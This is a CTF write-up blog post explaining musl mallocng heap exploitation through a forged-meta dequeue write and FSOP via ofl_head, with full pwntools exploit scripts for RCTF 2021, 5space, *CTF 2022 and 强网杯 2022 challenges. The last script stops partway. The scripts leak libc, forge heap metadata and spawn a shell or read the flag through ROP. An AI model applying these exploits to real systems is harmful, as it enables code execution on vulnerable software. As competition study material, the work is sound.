RCTF2021-musl-WP && 5space 2021 *CTF 2022 强网杯 2022 Musl 赛题 exp

Posted on Sep 13, 2021

写在一年后

在现在向前看,发现自己也算半个 musl 大师了,自从 RCTF2021 的 musl 题之后的每场比赛只要出现 musl 我都能解出,也从最开始的写一天到现在的两三个小时打通,有时候还能拿个N血。这是什么原因呢?很简单,每道题都是换汤不换药,都是同样的攻击点,也就是 dequeue 操作,堆风水上稍稍有些区别,但也差不多,然后再开个 seccomp 恶心选手。很没有意思啦。还是希望 CTF 比赛不要盲目追求难度(特指的是各种严苛的而又重复的堆利用)能少出现一些重复的套路题,多一些有意思的题目。

正文开始

这次的 RCTF 正好碰上军训,同级的队友只有我请出了假,所以基本上就只有三四个人在做题,非常的凄惨。pwn 题到最后一共放出来了 8 道,除了两个用 musl malloc 的题目之外代码都极度混乱,本身我的逆向能力比较弱,碰到这种题目就很头疼。我一共做出来两道题,musl 和 sharing。sharing 这题比较简单,就不写 wp 了,musl 这题应该也算一个比较裸的 musl malloc 利用。之前在 WMCTF 的时候有做过一道用 musl 1.1.4 的题目,musl malloc 在 1.2 之前和 ptmalloc2 比较相似,所以学习成本不高。本题用的是 musl 1.2.2,堆分配策略大改,比赛的时候就只能现学。近期的比赛中经常出现 musl 的堆题,不过 Musl-mallocng 的利用面现在来看非常窄,网络上的资料仅有利用 dequeue 任意地址写的一个利用点,碰到的题目都是使用这个点,这里就只简单写一下这个利用方法。更多关于 Musl-mallocng 的分配原理这里不写,因为我也不是很清楚,近期不是很有兴趣去学习。

对 musl 的 dequeue 利用的简单分析

这种利用类似 ptmalloc 中的 unlink 攻击,并且几乎没有保护。

musl 中,由一个 malloc_context 结构体管理整个堆,其定义为

struct malloc_context {
	uint64_t secret;
#ifndef PAGESIZE
	size_t pagesize;
#endif
	int init_done;
	unsigned mmap_counter;
	struct meta *free_meta_head;
	struct meta *avail_meta;
	size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
	struct meta_area *meta_area_head, *meta_area_tail;
	unsigned char *avail_meta_areas;
	struct meta *active[48];
	size_t usage_by_class[48];
	uint8_t unmap_seq[32], bounces[32];
	uint8_t seq;
	uintptr_t brk;
};

实例名为 ctx,在 gdb 中可以用 __malloc_context 来访问。pagesize 这个变量默认是不会生效的。

malloc_context 管理的是 meta 和 meta_area 结构体,两者的定义为

struct meta {
	struct meta *prev, *next;
	struct group *mem;
	volatile int avail_mask, freed_mask;
	uintptr_t last_idx:5;
	uintptr_t freeable:1;
	uintptr_t sizeclass:6;
	uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

struct meta_area {
	uint64_t check;
	struct meta_area *next;
	int nslots;
	struct meta slots[];
};

分配给用户的内存是在一个个的 group 结构体中的,定义为

#define UNIT 16

struct group {
	struct meta *meta;
	unsigned char active_idx:5;
	char pad[UNIT - sizeof(struct meta *) - 1];  // 这里是 0x10 对齐
	unsigned char storage[];
};

每一个 group 结构体都有一个 meta 结构体管理。

上面列出了几个关键结构体,先有个印象就行。

首先,从管理器的最小单位说起,也就是分配给用户的 chunk。源码中并没有显式地定义出 chunk 结构体,实际上其结构为

struct chunk
{
	uint8_t idx;  // 低 5bit 作为 idx 表示这是 group 中第几个 chunk, 高3bit作为 reserved
	uint16_t offset; // 与第一个 chunk 的偏移
	char user_data[];
};

user_data 这里就是供用户使用的地方了。假设用户申请后获得的指针为 char *p,那么 p 就指向 user_data[] 的头部。而前面的 idx 和 offset 就是此 chunk 的元数据域了,仅占 4 Byte。

之前有说到,每个 group 由一个 meta 来管理,这个 meta 负责维护 group 内所有 chunk 的分配情况,group 的头部就保存了该 meta 结构体的指针,每个 chunk 的元数据存在的一个意义就是为了计算出此 chunk 所在的 group 结构体的头部,由此获得管理该 group 的 meta 指针。这个操作由 get_meta 函数完成,实现如下

static inline struct meta *get_meta(const unsigned char *p)
{
	assert(!((uintptr_t)p & 15));
	int offset = *(const uint16_t *)(p - 2);
	int index = get_slot_index(p);
	if (p[-4]) {
		assert(!offset);
		offset = *(uint32_t *)(p - 8);
		assert(offset > 0xffff);
	}
	const struct group *base = (const void *)(p - UNIT*offset - UNIT);
	const struct meta *meta = base->meta;
	assert(meta->mem == base);
	assert(index <= meta->last_idx);
	assert(!(meta->avail_mask & (1u<<index)));
	assert(!(meta->freed_mask & (1u<<index)));
	const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
	assert(area->check == ctx.secret);
	if (meta->sizeclass < 48) {
		assert(offset >= size_classes[meta->sizeclass]*index);
		assert(offset < size_classes[meta->sizeclass]*(index+1));
	} else {
		assert(meta->sizeclass == 63);
	}
	if (meta->maplen) {
		assert(offset <= meta->maplen*4096UL/UNIT - 1);
	}
	return (struct meta *)meta;
}

为了弄清计算方法,先把所有的检查去掉

static inline int get_slot_index(const unsigned char *p)
{
	return p[-3] & 31;
}

static inline struct meta *get_meta(const unsigned char *p)
{
	int offset = *(const uint16_t *)(p - 2);
	int index = get_slot_index(p);
	if (p[-4]) {
		offset = *(uint32_t *)(p - 8);
	}
	const struct group *base = (const void *)(p - UNIT*offset - UNIT);
	const struct meta *meta = base->meta;

	return (struct meta *)meta;
}

传入的 p 指向用户数据区,*(const uint16_t *)(p - 2) 取得 offset 的值,然后通过 const struct group *base = (const void *)(p - UNIT*offset - UNIT); 计算出所在的 group 结构体的首地址。

那么我们考虑一下如何在这里伪造 meta。如果程序存在 4 字节以上的溢出,能够做到修改某个 chunk 的 offset,以修改为 0 为例,那么 base 的值就是 p - 0x10 了,返回的 meta 指针就是上一个 chunk 的最后 8 个字节的值了,这样可以起到伪造 meta 指针的效果(当然过程中要通过一些检查,这个等下再说)。

上面说了可以伪造 meta,那为啥要伪造 meta 呢,因为在 nontrivial_free 操作中

static struct mapinfo nontrivial_free(struct meta *g, int i)
{
	uint32_t self = 1u<<i;
	int sc = g->sizeclass;
	uint32_t mask = g->freed_mask | g->avail_mask;

	if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
		// any multi-slot group is necessarily on an active list
		// here, but single-slot groups might or might not be.
		if (g->next) {
			assert(sc < 48);
			int activate_new = (ctx.active[sc]==g);
			dequeue(&ctx.active[sc], g);
			if (activate_new && ctx.active[sc])
				activate_group(ctx.active[sc]);
		}
		return free_group(g);
	} else if (!mask) {
		assert(sc < 48);
		// might still be active if there were no allocations
		// after last available slot was taken.
		if (ctx.active[sc] != g) {
			queue(&ctx.active[sc], g);
		}
	}
	a_or(&g->freed_mask, self);
	return (struct mapinfo){ 0 };
}

存在一个 dequeue 操作,其实现是这样的

static inline void dequeue(struct meta **phead, struct meta *m)
{
	if (m->next != m) {
		m->prev->next = m->next;
		m->next->prev = m->prev;
		if (*phead == m) *phead = m->next;
	} else {
		*phead = 0;
	}
	m->prev = m->next = 0;
}

可以看到很像上古版本的 ptmalloc 的 unlink 操作,通过对一个伪造的 meta 进行 dequeue 操作,可以起到任意地址写的效果。

还有很多细节没说,之后有空再补。

对题目的分析

漏洞点很明显,即 add 函数中

  chunk_ptr->content = (char *)malloc(size);
  chunk_ptr->size = size - 1;
  puts("Contnet?");
  return readn((__int64)chunk_ptr->content, chunk_ptr->size);// overflow

size 为 0 时存在堆溢出,可以几乎无限溢出。

同时输入使用 read,没有 ‘\0’ 截断,所以 leak 很容易

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.os = 'linux'
context.arch = 'amd64'
 
#sh = process(["./libc.so", "./r"])
libc = ELF("./libc.so")
sh = remote("123.60.25.24", 12345)

def add(idx, size, payload):
    sh.sendlineafter(">>", '1')
    sh.sendlineafter("idx?", str(idx))
    sh.sendlineafter("size?", str(size))
    sh.sendafter("Contnet?", payload)

def delete(idx):
    sh.sendlineafter(">>", '2')
    sh.sendlineafter("idx?", str(idx))

def show(idx):
    sh.sendlineafter(">>", '3')
    sh.sendlineafter("idx?", str(idx))

add(0, 0xC, '0' + '\n') # 0
add(1, 0xC, '\n') # 1
add(2, 0xC, '0' + '\n') # 2
add(3, 0xC, '\n') # 3
add(4, 0xC, '0' + '\n') # 4
add(5, 0xC, '\n') # 5
add(6, 0xC, '0' + '\n') # 6
add(7, 0xC, '\n') # 7
add(8, 0xC, '0' + '\n') # 8
add(9, 0x2000, '\n') # 9
add(10, 0x2000, '\n') # 10
for i in range(30 - 10):
    add(15, 0xC, '\n')

delete(0)
add(0, 0, 'a' * 0xF + '\n')
show(0)

sh.recvuntil('a' * 0xF + '\n')
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) 
libc_base = heap_addr - 0x298D50
log.success("libc_base: " + hex(libc_base))

__malloc_context_addr = libc_base + libc.sym["__malloc_context"]
log.success("__malloc_context_addr: " + hex(__malloc_context_addr))

delete(2)
add(2, 0, 'a' * 0x10 + p64(__malloc_context_addr) + '\n')
show(3)

sh.recvuntil("Content: ")
secret = u64(sh.recv(8))
log.success("secret: " + hex(secret))

这样就可以 leak 出来了。这里要注意的是一般情况下 musl 中被释放的 chunk 不能被立刻申请回来,所以这里先填满了一个 group 再进行释放,就可以申请回来了。

既然有溢出,就可以考虑伪造 meta 结构体进行 dequeue 进行任意地址写。任意地址写后似乎有很多种方法,我使用了比较简单的 fsop,即写 ofl_head 指针,这个东西和 glibc 中的 _IO_list_all 比较像,在 exit 中会调用 __stdio_exit

void __stdio_exit(void)
{
	FILE *f;
	for (f=*__ofl_lock(); f; f=f->next) close_file(f);
	close_file(__stdin_used);
	close_file(__stdout_used);
	close_file(__stderr_used);
}

这里会遍历链表上的所有文件结构体,并执行 close_file

static void close_file(FILE *f)
{
	if (!f) return;
	FFINALLOCK(f);
	if (f->wpos != f->wbase) f->write(f, 0, 0);
	if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

劫持掉 write 或者 seek 指针后 rop 即可。

最后的 exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.os = 'linux'
context.arch = 'amd64'
 
#sh = process(["./libc.so", "./r"])
libc = ELF("./libc.so")
sh = remote("123.60.25.24", 12345)

def add(idx, size, payload):
    sh.sendlineafter(">>", '1')
    sh.sendlineafter("idx?", str(idx))
    sh.sendlineafter("size?", str(size))
    sh.sendafter("Contnet?", payload)

def delete(idx):
    sh.sendlineafter(">>", '2')
    sh.sendlineafter("idx?", str(idx))

def show(idx):
    sh.sendlineafter(">>", '3')
    sh.sendlineafter("idx?", str(idx))

add(0, 0xC, '0' + '\n') # 0
add(1, 0xC, '\n') # 1
add(2, 0xC, '0' + '\n') # 2
add(3, 0xC, '\n') # 3
add(4, 0xC, '0' + '\n') # 4
add(5, 0xC, '\n') # 5
add(6, 0xC, '0' + '\n') # 6
add(7, 0xC, '\n') # 7
add(8, 0xC, '0' + '\n') # 8
add(9, 0x2000, '\n') # 9
add(10, 0x2000, '\n') # 10
for i in range(30 - 10):
    add(15, 0xC, '\n')

delete(0)
add(0, 0, 'a' * 0xF + '\n')
show(0)

sh.recvuntil('a' * 0xF + '\n')
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) 
libc_base = heap_addr - 0x298D50
log.success("libc_base: " + hex(libc_base))

__malloc_context_addr = libc_base + libc.sym["__malloc_context"]
log.success("__malloc_context_addr: " + hex(__malloc_context_addr))

delete(2)
add(2, 0, 'a' * 0x10 + p64(__malloc_context_addr) + '\n')
show(3)

sh.recvuntil("Content: ")
secret = u64(sh.recv(8))
log.success("secret: " + hex(secret))

sc = 0
freeable = 1
last_idx = 0
maplen = 0
ofl_head_addr = libc_base + 0x297E68 
fake_mem_addr = heap_addr + 0xF0 - 0x50

ret = libc_base + 0x598
pop_rax_ret = libc_base + 0x000000000001b8fd
pop_rdi_ret = libc_base + 0x0000000000014b82
pop_rdx_ret = libc_base + 0x0000000000009328
pop_rsi_ret = libc_base + 0x000000000001b27a
syscall = libc_base + 0x0000000000001d14
syscall_ret = libc_base + 0x0000000000023711
rop_chain = 'a' * 0x300
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(fake_mem_addr + 0x100 - 0x40)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(0)
rop_chain += p64(libc_base + libc.sym["open"])

rop_chain += p64(pop_rdi_ret)
rop_chain += p64(3)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(fake_mem_addr - 0x1000)
rop_chain += p64(pop_rdx_ret)
rop_chain += p64(0x1000)
rop_chain += p64(pop_rax_ret)
rop_chain += p64(217)
rop_chain += p64(syscall_ret)

# 以下用来读出 flag
#rop_chain += p64(pop_rdi_ret)
#rop_chain += p64(3)
#rop_chain += p64(pop_rsi_ret)
#rop_chain += p64(fake_mem_addr - 0x1000)
#rop_chain += p64(pop_rdx_ret)
#rop_chain += p64(0x1000)
#rop_chain += p64(libc_base + libc.sym["read"])

rop_chain += p64(pop_rdi_ret)
rop_chain += p64(1)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(fake_mem_addr - 0x1000)
rop_chain += p64(pop_rdx_ret)
rop_chain += p64(0x1000)
rop_chain += p64(libc_base + libc.sym["write"])


payload = rop_chain
payload = payload.ljust((0x1000 - 0x30), 'a')
payload += p64(secret) + p64(0)
# fake_meta
payload += p64(ofl_head_addr - 0x8) # prev
payload += p64(fake_mem_addr) # next
payload += p64(fake_mem_addr) # mem
payload += p32(0) + p32(0) # avail_mask, freed_mask
payload += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
payload += p64(0)
delete(9)
add(9, 0x2000, payload + '\n') # 9

delete(8)
add(8, 0, 'a' * 0xF + '\n')
show(8)
sh.recvuntil('a' * 0xF + '\n')
mmaped_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x30 
log.success("mmaped: " + hex(mmaped_addr))

delete(6) 
add(6, 0, p64(mmaped_addr + 0x1000 + 0x10) + p64(0) + p64(heap_addr + 0x20 + 0xF0 - 0x50) + '\n')

delete(7)

magic_gadget = libc_base + 0x4a5ae 
payload = 'a' * 0x40 # padding
fake_file = p64(0) # flags
fake_file += p64(0) * 2 # rpos, rend
fake_file += p64(0) # (*close)(FILE *);
fake_file += p64(0) + p64(0) # wend, wpos
fake_file += p64(mmaped_addr + 0x30 + 0x300) # mustbezero_1, [rdi + 0x30]
fake_file += p64(ret) # wbase, [rdi + 0x38]
fake_file += p64(0) # (*read)(FILE *, unsigned char *, size_t)
fake_file += p64(magic_gadget) # (*write)(FILE *, const unsigned char *, size_t)
fake_file = fake_file.ljust(0x8C, '\x00')
fake_file += p32(0xFFFFFFFF)
payload += fake_file
payload = payload.ljust(0x100, 'a')
payload += '/home/ctf/flag/\x00'

delete(4)
add(4, 0, payload + '\n')

#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter(">>", '4')
 
sh.interactive()

题目的 flag 名字不叫 flag,所以我先用了一次 getdents64 把文件名读出来,然后再读 flag。这种方法感觉不甚优雅,不知道有没有更好的办法。

注:flag 叫 0_l78zflag

reference

https://www.anquanke.com/post/id/246929

又及

几天后的第五空间中也出现了一个 musl 的堆题,和这道题也差不多,我感觉这种一直拿着个 musl 出题十分无聊,而且也都是 dequeue 的利用,区别只在 fake_mem 和 fake_meta 的伪造上,这里贴个 exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

def UpdateInfo(size, name, info):
    sh.sendlineafter("~$ ", 'UpdateInfo')
    sh.sendlineafter("Length: ", str(size))
    sh.sendafter("Name: ", name)
    sh.sendafter("Info: ", info)

def ViewInfo():
    sh.sendlineafter("~$ ", 'ViewInfo')

def AddNote(size, note):
    sh.sendlineafter("~$ ", 'AddNote')
    sh.sendlineafter("Size: ", str(size))
    sh.sendafter("Note: ", note)

def DelNote(idx):
    sh.sendlineafter("~$ ", 'DelNote')
    sh.sendlineafter("Index: ", str(idx))

def ShowNote(idx):
    sh.sendlineafter("~$ ", 'ShowNote')
    sh.sendlineafter("Index: ", str(idx))

def backdoor(addr):
    sh.sendlineafter("~$ ", 'B4ckD0or')
    sh.sendlineafter("Addr: ", str(addr))

def tempNote(addr, payload):
    sh.sendlineafter("~$ ", 'TempNote')
    sh.sendlineafter("note: ", str(addr))
    sh.sendafter("Note: ", payload)

def EditNote(idx, payload):
    sh.sendlineafter("~$ ", 'EditNote')
    sh.sendlineafter("Index: ", str(idx))
    sh.sendafter("Note: ", payload)

 
#sh = process(["./libc.so", "./notegame"])
sh = remote("114.115.152.113", 49153)
libc = ELF("./libc.so")
#sh = remote()

AddNote(0x20, 'a' * 0x20)

for _ in range(7):
    AddNote(0x3C, 'a' * 0x3C)

for i in range(6):
    DelNote(i + 1)

UpdateInfo(0x10, 'a' * 0x10, 'b' * 0x10)
ViewInfo()
sh.recvuntil('a' * 0x20)
libc_base = u64(sh.recv(6).ljust(0x8, '\x00')) - 0xB7C90
log.success("libc_base: " + hex(libc_base))

__malloc_context = libc_base + 0xB4AC0
log.success("__malloc_context: " + hex(__malloc_context))

backdoor(__malloc_context)
sh.recvuntil("Mem: ")
secret = u64(sh.recv(8))
log.success("secret: " + hex(secret))

sc = 6
freeable = 1
last_idx = 1
maplen = 1
ofl_head_addr = libc_base + 0xB6E48
fake_mem_addr = libc_base + 0xB7940
mmaped_addr = 0xDEADBEEF000
pop_rdi_ret = libc_base + 0x00000000000152a1
system = libc_base + libc.sym["system"]
magic_gadget = libc_base + 0x000000000007b1f5
ret = libc_base + 0x00000000000152a2
bin_sh_str = libc_base + libc.search("/bin/sh\x00").next()
pop_rsp_ret = libc_base + 0x0000000000015e47
mov_rsp_rdx_jmp_rax = libc_base + 0x0000000000079332
pop_rdx_ret = libc_base + 0x000000000002cdae
pop_rax_ret = libc_base + 0x0000000000016a96
pop_rsi_ret = libc_base + 0x000000000001dad9
syscall = libc_base + 0x0000000000015a42

payload = p64(secret) + p64(0)
payload += p64(ofl_head_addr - 0x8) # prev
payload += p64(fake_mem_addr) # next
payload += p64(fake_mem_addr) # mem
payload += p32(2) + p32(0) # avail_mask, freed_mask
payload += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
payload += p64(0)
# 0x40
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_str)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(syscall)
#payload += p64(pop_rdx_ret)
#payload += p64(fake_mem_addr & 0xFFFFFFFFFFFFF000)
#payload += p64(pop_rax_ret)
#payload += p64(system)
#payload += p64(ret)
#payload += p64(mov_rsp_rdx_jmp_rax)
payload += '\n' 

tempNote(mmaped_addr, payload)

payload = '\xFF'.ljust(0x7C, '\xFF')
AddNote(0x6C, payload) # 1
AddNote(0x6C, payload)


fake_file = p64(0) # flags
fake_file += p64(0) * 2 # rpos, rend
fake_file += p64(0) # (*close)(FILE *);
fake_file += p64(0) + p64(0) # wend, wpos
fake_file += p64(mmaped_addr + 0x40) # mustbezero_1, [rdi + 0x30]
fake_file += p64(ret) # wbase, [rdi + 0x38]
fake_file += p64(0) # (*read)(FILE *, unsigned char *, size_t)
fake_file += p64(magic_gadget) # (*write)(FILE *, const unsigned char *, size_t)
AddNote(0x6C, fake_file[0x10:] + '\n')
AddNote(0x6C, payload)
AddNote(0x6C, payload)
AddNote(0x6C, payload)
AddNote(0x6C, payload)

log.success("fake_mem_addr: " + hex(fake_mem_addr))

EditNote(2, 'C' * 0x60 + p64(mmaped_addr + 0x10) + '\n')
DelNote(3)
#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter("~$ ", "Exit")
 
sh.interactive()

绕过程中的检查和避免越界只要见招拆招,改相应的参数即可。我在比赛的时候拘泥于 RCTF 这题的伪造方式,一直通不过 free 操作,浪费了大量时间,幸好及时想到改参数,否则应该就做不出来了。

*CTF 2022 babynote

2022.4.16 的 StarCTF 中也出现一道 musl,musl 题真的很没意思,我也不新开文章去水了,就写在这里了。利用的仍然是 dequeue 操作

在 delete 时,没有置空 next 指针,所以存在 UAF。

考虑先 free 一个 0x28 大小的 group,然后 new note,让 note 结构体占位到这个 group 上,再 UAF show 出来就可以 leak 了。之后也可以通过控制 next 指针实现任意地址 free。伪造 meta 和 group fsop 即可 getshell。

为了使 note 结构体占位到 content 上,可能需要一点堆风水,这里通过把 note 结构体和 content 分开到两个 groups 中(也就是从属于两个不同的 meta)实现。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

#sh = process(["./libc.so", "./babynote"])
#sh = process("./babynote")
sh = remote("123.60.76.240", "60001")
libc = ELF("./libc.so")

def add_note(name_size, name, content_size, content):
    sh.sendlineafter("option:", '1')
    sh.sendlineafter("name size:", str(name_size))
    sh.sendafter("name:", name)
    sh.sendlineafter("note size:", str(content_size))
    sh.sendafter("content:", content)

def find_note(name_size, name):
    sh.sendlineafter("option:", '2')
    sh.sendlineafter("name size:", str(name_size))
    sh.sendafter("name:", name)

def delete_note(name_size, name):
    sh.sendlineafter("option:", '3')
    sh.sendlineafter("name size:", str(name_size))
    sh.sendafter("name:", name)

def forget_all_notes():
    sh.sendlineafter("option:", '4')

def translate(string):
    string = string[::-1]
    list_str = list(string)
    for i in range(0, len(string), 2):
        list_str[i], list_str[i + 1] = list_str[i + 1], list_str[i]
    return "".join(list_str)

add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n')
add_note(0x28, 'cccc\n', 0x28, 'CCCC\n')
add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 9 0x28 group
forget_all_notes()

add_note(0x18, 'aaaa\n', 0x28, 'A' * 0x28) # name and struct in first meta, content in the next
                                           # the first mate will be inactivate
add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 4 0x28 group
add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') # 7 0x28 group
add_note(0x28, 'dddd\n', 0x28, 'DDDD\n') # 10 0x28
add_note(0x18, 'eeee\n', 0x18, 'EEEE\n') # 1 0x28 group, sencond meta will be inactivate

delete_note(0x4, 'aaaa') # free three 0x28 group
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0xc, 'replace\n', 0xc, 'replace\n')
find_note(0x4, 'aaaa')
# leaked
sh.recvuntil("0x28:")
log.success(sh.recv(12))
sh.recv(4)
proc_base = int(translate(sh.recv(12)), base = 16) - 0x4860
log.success("proc_base: " + hex(proc_base))
sh.recv(4)
sh.recv(32)
# this is the donately address
libc_base = int(translate(sh.recv(12)), base = 16) - 0xB7BB0
log.success(hex(libc_base))
sh.recv(4)

# start it all over again
add_note(0xc, 'bbbb\n', 0xc, 'BBBB\n')
forget_all_notes()

add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n')
add_note(0x28, 'cccc\n', 0x28, 'CCCC\n')
add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 9 0x28 group
forget_all_notes()

add_note(0x18, 'aaaa\n', 0x28, 'A' * 0x28) # name and struct in first meta, content in the next
                                           # the first mate will be inactivate
add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 4 0x28 group
add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') # 7 0x28 group
add_note(0x28, 'dddd\n', 0x28, 'DDDD\n') # 10 0x28
add_note(0x18, 'eeee\n', 0x18, 'EEEE\n') # 1 0x28 group, sencond meta will be inactivate

delete_note(0x4, 'aaaa') # free three 0x28 group
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')

known_name_addr = libc_base + 0xB7080
known_name = p64(libc_base + 0xB7F50)
secret_addr = libc_base + 0xB4AC0
fake_note = p64(known_name_addr) + p64(secret_addr)
fake_note += p64(0x8) + p64(0x28)
fake_note += p64(0)[:-1] + '\n'
add_note(0x70, 'replace\n', 0x28, fake_note)
# gdb.attach(sh)
find_note(8, known_name)
sh.recvuntil("0x28:")
secret = int(translate(sh.recv(16)), base = 16)
log.success("secret: " + hex(secret))

# start it all over again
forget_all_notes()

# fake the meta
ofl_head_addr = libc_base + 0xB6E48
sc = 0
freeable = 1
last_idx = 0
maplen = 1
fake_group_addr_base = libc_base - 0x7000 + 0x20
fake_group_addr = libc_base - 0x7000 + 0x120 + 0x1000
fake_mem_base = fake_group_addr_base - 0x20 + 0x1000 + 0x100
fake_meta_addr = fake_group_addr_base - 0x20 + 0x1000 + 0x18
fake_group = "AAAABBBBCCCCDDDD" # sign
fake_group = fake_group.ljust(0x1000 - 0x20, '\x00')
fake_group += p64(secret) + p64(0) + p64(1) # 0x10
fake_meta = ""
fake_meta += p64(ofl_head_addr - 0x8) # next
fake_meta += p64(proc_base + 0x4450) # prev
fake_meta += p64(fake_mem_base + 0x10)
fake_meta += p32(0) + p32(0) # avail_mask, freed_masx
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
fake_group += fake_meta
fake_group = fake_group.ljust(0x1000 + 0x100 - 0x20, '\x00') # 0x1100
# fake a group here
fake_group += p64(fake_meta_addr) + p64(0) # 0x1110
fake_group += p64(fake_meta_addr) + p32(0) + p16(0x00) + p16(0) # 0x1120
fake_file = '/bin/sh\x00' # flags
fake_file += p64(0) * 2 # rpos, rend
fake_file += p64(0) # (*close)(FILE *);
fake_file += p64(0) + p64(1) # wend, wpos
fake_file += p64(0)
fake_file += p64(0) # wbase
fake_file += p64(0) # (*read)(FILE *, unsigned char *, size_t)
system = libc_base + libc.sym["system"]
fake_file += p64(system) # (*write)(FILE *, const unsigned char *, size_t)
fake_group += fake_file + '\n'

add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n')
add_note(0x28, 'cccc\n', 0x28, 'CCCC\n')
add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 9 0x28 group
forget_all_notes()

add_note(0x18, 'aaaa\n', 0x28, 'A' * 0x28) # name and struct in first meta, content in the next
                                           # the first mate will be inactivate
add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 4 0x28 group
add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') # 7 0x28 group
add_note(0x28, 'dddd\n', 0x28, 'DDDD\n') # 10 0x28
add_note(0x18, 'eeee\n', 0x2000, fake_group) # 1 0x28 group, sencond meta will be inactivate

delete_note(0x4, 'aaaa') # free three 0x28 group
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x28, 'fill\n', 0x28, 'fill\n')
add_note(0x18, 'fill\n', 0x18, 'fill\n')
known_name_addr = libc_base + 0xB7660
known_name = p64(proc_base + 0x4f30)
fake_note = p64(known_name_addr) + p64(fake_group_addr)
fake_note += p64(0x8) + p64(0x28)
fake_note += p64(0)[:-1] + '\n'
add_note(0x70, fake_file.ljust(0x70, '\x00')[:-1] + '\n', 0x28, fake_note)
log.success("fake_group_addr: " + hex(fake_group_addr))
delete_note(8, known_name)
forget_all_notes()
#gdb.attach(sh)
add_note(0x8, 'file\n', 0x100, fake_file.ljust(0xF0, '\x00')[:-8] + p64(0xDEADBEEF13377331) + '\n')
sh.sendlineafter("option:", "5")

sh.interactive()

强网杯 2022 UserManage

这题由于比赛时我们很早就分析出来是红黑树,并且一开始就发现有 UAF,所以拿了个一血,利用和前面的方法还是一样的,这里贴个 exp

#!/usr/bin/env python
# coding=utf-8
from base64 import urlsafe_b64decode
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

# sh = process("./UserManager")
sh = remote("182.92.223.176", 27224)


def add(idx, len, payload):
    sh.sendlineafter(": ", '1')
    sh.sendlineafter("Id: ", str(idx))
    sh.sendlineafter("UserName length", str(len))
    sh.sendafter("UserName: ", payload)


def show(idx):
    sh.sendlineafter(": ", '2')
    sh.sendlineafter("Id: ", str(idx))


def delete(idx):
    sh.sendlineafter(": ", '3')
    sh.sendlineafter("Id: ", str(idx))


def clear():
    sh.sendlineafter(": ", '4')


add(0, 0x38, "A" * 0x30 + '\n')
add(1, 0x38, "B" * 0x30 + '\n')
add(2, 0x38, "C" * 0x30 + '\n')
add(3, 0x38, "D" * 0x30 + '\n')

clear()

add(0, 0x38, "B" * 0x30 + '\n')
add(1, 0xC, "D" * 0x3 + '\n')
clear()

add(0, 0x38, "A" * 0x30 + '\n')
add(0, 0x38, "E" * 0x30 + '\n')
add(1, 0xC, "F" * 0x3 + '\n')
show(0)

sh.recv(8)
libc_base = u64(sh.recv(8)) - (0x7f5a0d425880 - 0x7f5a0d36e000)
sh.recv(24)
proc_base = u64(sh.recv(8)) - (0x55919135fd40 - 0x55919135a000)
log.success("libc_base: " + hex(libc_base))
log.success("proc_base: " + hex(proc_base))

secret_addr = libc_base + 0xB4AC0

fake_user = ""
fake_user += p64(0)
fake_user += p64(secret_addr)
fake_user += p64(0x8)
fake_user = fake_user.ljust(0x37, '\x00') + '\n'
add(1, 0x38, fake_user)
show(0)
secret = u64(sh.recv(8))
log.success("secret: " + hex(secret))

clear()

ofl_head = libc_base + 0xb6e48

fake_meta_addr = libc_base - 0x7000 + 0x1000 + 0x10
log.success("fake_meta_addr: " + hex(fake_meta_addr))
fake_memory_start = libc_base - 0x7000
fake_chunk_addr = fake_memory_start + 0x30
log.success("fake_chunk_addr: " + hex(fake_chunk_addr))

sc = 0
freeable = 1
last_idx = 0
maplen = 1

fake_chunk = ""
fake_chunk += p64(fake_meta_addr)
